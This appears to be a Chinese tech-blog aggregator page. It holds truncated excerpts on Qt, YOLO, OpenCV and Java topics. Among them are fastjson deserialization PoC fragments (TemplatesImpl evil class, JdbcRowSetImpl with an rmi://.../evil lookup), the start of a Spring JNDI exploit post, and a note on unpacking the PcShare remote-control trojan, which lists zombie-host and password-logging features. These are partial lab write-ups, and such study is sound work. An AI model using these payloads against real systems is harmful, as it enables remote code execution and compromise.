Qt + MySQL + SQLServer 数据库概要
Qt + MySQL + SQLServer 数据库概要 本文来自我的个人网站:http://beself.top/2018/02/07/qt-mysql-sqlserver/ 简介 本次Qt+MySql+SqlServer数据库作为一个开头,讲解如何使用Qt来正确连接MySql和SqlServer数据库,并简单的使用查询语句来查询数据库中数据并显示在界面表中,以此来验证正确连接数据库。 本次的源码已经上传到码云,并附带链接,供所有人下载 码云:https://gitee.com/ALONE_
Qt – 获取12306动态验证码图片
Qt – 获取12306动态验证码图片 本文转载自:http://beself.top/2018/09/16/qt-get_12306verificationcode/ 背景 经常出行的人就知道买火车票是一件比较困难的事情,特别是节假日,抢票就更加艰难了,抢票的工具起始也很多,但是作为一个程序员,很想自己来实现一下自己抢票,虽然不知道最终能不能成功,但是还是要来尝试一下的,前期主要是做一些小demo来验证一些功能是否可以实现,本篇文章介绍获取12306验证码。 本次主要是简单的实现获取验证码这
Linux – 自启动程序脚本
http://beself.top/2018/10/25/linux-shell-startup-self/ # Monitor Collector is running
# 此脚本是检测另外一个程序是否正在运行,如果没有运行则启动该程序
Path='PortableCollector'
while test "1"="1";do
Result=`pgrep $Path`
if [ ! $Result];then
# 启动程序
/home/defau
Qt线程 - 继承QObject方式
Qt线程 - 继承QObject方式 Qt使用线程有两种方式,在新版本的Qt中,Qt官方推荐使用继承QObject的方式,本文档记录使用此方法线程的实验过程。 本文转自:http://beself.top/2018/11/09/qt-thread-inherit-qobject/ 线程实验总结 在实验1 至实验5终于得出结论,使用继承QObject的方式实现多线程的方式, 使用继承QObject的方式实现多线程的方式经过实验证明是可以的,具体过程请仔细观察实验过程记录; 本次实验中实验了终止线
平台2.0数据采集软件
转自:http://beself.top/2018/11/28/plat2-0datacollector/ 平台2.0数据采集软件 此软件主要功能是采集数据并保存到数据库; 介绍 软件是公司平台需要数据战术,故开发采集数据的一个软件; 从搭建框架到完成各个子功能都是一行一行代码码出来的; 软件界面相对简单,从软件界面逻辑可以看出软件搭建的框架; 属性 值 软件名称 平台2.0数据采集软件 开发环境 VS2017 VS版本 VS2010 插件 Codejock Software皮肤库;GridC
VC6++ 默认目录
转自:http://beself.top/2018/12/06/vc6-default_directory/ 此文章目的 在开发一个VC++项目时遇到一种情况,工具->目录下的默认目录全部没了,然后整个工程就崩溃了,但是网上缺找不到一些有用的资料,故此将这片文章方在网上。 注:是Executable files、include files、library files、source files下的所有目录没有了。 解决办法 将一下的目录各自添加到相应 的目录后整个工程便好了。 VC6 默认安装目
论文笔记(1)--(YOLOv2)YOLO9000:Better,Faster,Stronger
版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/lwplwf/article/details/82895409 论文链接:https://arxiv.org/abs/1612.08242 主要包括三个部分:Better,Faster,Stronger,其中前面两部分基本上讲的是YOLO v2,最后一部分讲的是YOLO9000。 Better 这部分细节很多,要详细了解的话还是需要结合源码来看。 本篇论文是YOLO作者为了改进原有的YOLO算法所
NCNN(2)--网络结构文件.param解析
版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/lwplwf/article/details/82983904 LeNet模型为例 由Caffe的lenet_deploy.prototxt文件转换得到 name: "LeNet"
layer {
name: "data"
type: "Input"
top: "data"
input_param { shape: { dim: 1 dim: 1 dim: 28 dim: 28 }
Caffe(12)--实现YOLOv2目标检测
版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/lwplwf/article/details/83011667 https://github.com/lwplw/caffe_yolov2 DarkNet转Caffe中有很多潜在的问题,在YOLOv1、v2、v3几个网络中有一些特殊的层。要在Caffe中跑YOLO,就得在Caffe中源码实现这些层。这些层的Caffe源码实现可以在网上找到很多。 YOLO特殊层的Caffe框架实现 YOLOv1 d
fastjson反序列化TemplatesImpl
环境参考第一个链接,直接用IDEA打开 编译EvilObject.java成EvilObject.class 先看poc,其中NASTY_CLASS为TemplatesImpl类,evilCode是EvilObject.class base64编码: final String evilClassPath = "E:\\Struts2-Vulenv-master\\PoCs-fastjson1241\\src\\main\\java\\org\\lain\\poc\\TemplatesImpl\
Themida/WinLicense V1 8 2 0 +脱壳 FOR PcShare远程控制会员版本20070826
【文章作者】: 冰橙子 【详细过程】 今天拿到PcShare远程控制会员版本20070826,看看说明 一、加了插默认浏览器的功能 二、重新修改了文件下载,一目了然,肉机不上线也可以管理。 三、加了窗口管理的功能、 四、加了群发消息的功能 五、加了强制肉机访问网页的功能 六、增加代理(不完善测试阶段) 七、增加了记录系统登录密码功能 看着看着 就想破解,说干就干,不管是不是菜鸟,还是先查壳把, 用PEID查壳: Themida/WinLicense V1.8.2.0 + -> Oreans T
Self Attention需要掌握的基本原理
字面意思理解,self attention就是计算句子中每个单词的重要程度。 1. Structure 通过流程图,我们可以看出,首先要对输入数据做Embedding 1. 在编码层,输入的word-embedding就是key,value和query,然后做self-attention得到编码层的输出。这一步就模拟了图1中的编码层,输出就可以看成图1中的h。 2. 然后模拟图1中的解码层,解码层的关键是如何得到s,即用来和编码层做attention的query,我们发现,s与上个位置的真实l
applyColorMap()研究(如果我对现有的colormap不满意,那么如何具体来做)
cv::applyColorMap()能够实现预定义的伪彩色,这个是众所周知的事情。 并且和matlab提供的很相近 除了这些预置的变换,如果我想实现新的变换,需要做LUT变换 cv::Mat image_gray_3c; //单通道的灰度图,转换成R、G、B三通道值均相等的三通道图 cv::cvtColor(image_gray, image_gray_3c, cv::COLOR_GRAY2RGB); //opencv默认的颜色排列顺序是BGR,而这里自定义的colormap的顺序是RGB
fastjson反序列化JdbcRowSetImpl
Gadget com.sun.rowset.JdbcRowSetImpl
setAutoCommit() -> connect() -> InitialContext.lookup() poc如下,dataSourceName 为rmi://localhost:1090/evil: String payload = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\","
+ "\"dataSourc
使用API判断网络是否连通 InternetGetConnectedState / IsNetworkAlive
// test.cpp : Defines the entry point for the console application. // #include "stdafx.h" #include "test.h" #include <Wininet.h> #include <Sensapi.h> #ifdef _DEBUG #define new DEBUG_NEW #undef THIS_FILE static char THIS_FILE[] = __FILE__; #endif ///
Spring framework 反序列化的漏洞
理解这个漏洞需要先看freebuff上的jdni的小例子。这里就不看了。 Server端代码: imort java.io.*;
import java.net.*;
public class ExploitableServer {
public static void main(String[] args) {
try {
//本地监听1234端口
ServerSocket serverSocket = new ServerSo
Jackson 动态Bean
为了解决json字符串有很多属性, 但是不必每个属性都映射到pojo的属性。 @JsonProperty : 标记一个方法是一个属性的getter或setter方法, 也即把java属性和json域关联起来 @JsonCreator: 定义从json字符串到java对象的构造方法, 在数据绑定的时候使用到 @JsonAnyGetter, @JsonAnySetter: 标记一个方法读取或设置不被其他java属性处理的域, 它们会处理所有不被其他属性处理的域, 这些域被作为键值对存储在一个map
一对老耗子,每个月都生一对小耗子。小耗子长3个月,第四个开始变成老耗子开始生! 假如都不死,那么请问24个月后有多少只耗子?
package 第五天的作业; /* * 一对老耗子,每个月都生一对小耗子。小耗子长3个月,第四个开始变成老耗子开始生! 假如都不死,那么请问24个月后有多少只耗子? */ /* * 思路 * 设计ONE TWO THREE OLD四个变量, * 存放第一个月,第二个月,第三个月,老耗子的数量 * */ public class Demo3 { public static void main(String[] args) { int old = 2; //老耗子 int one = 0; //
今日推荐
周排行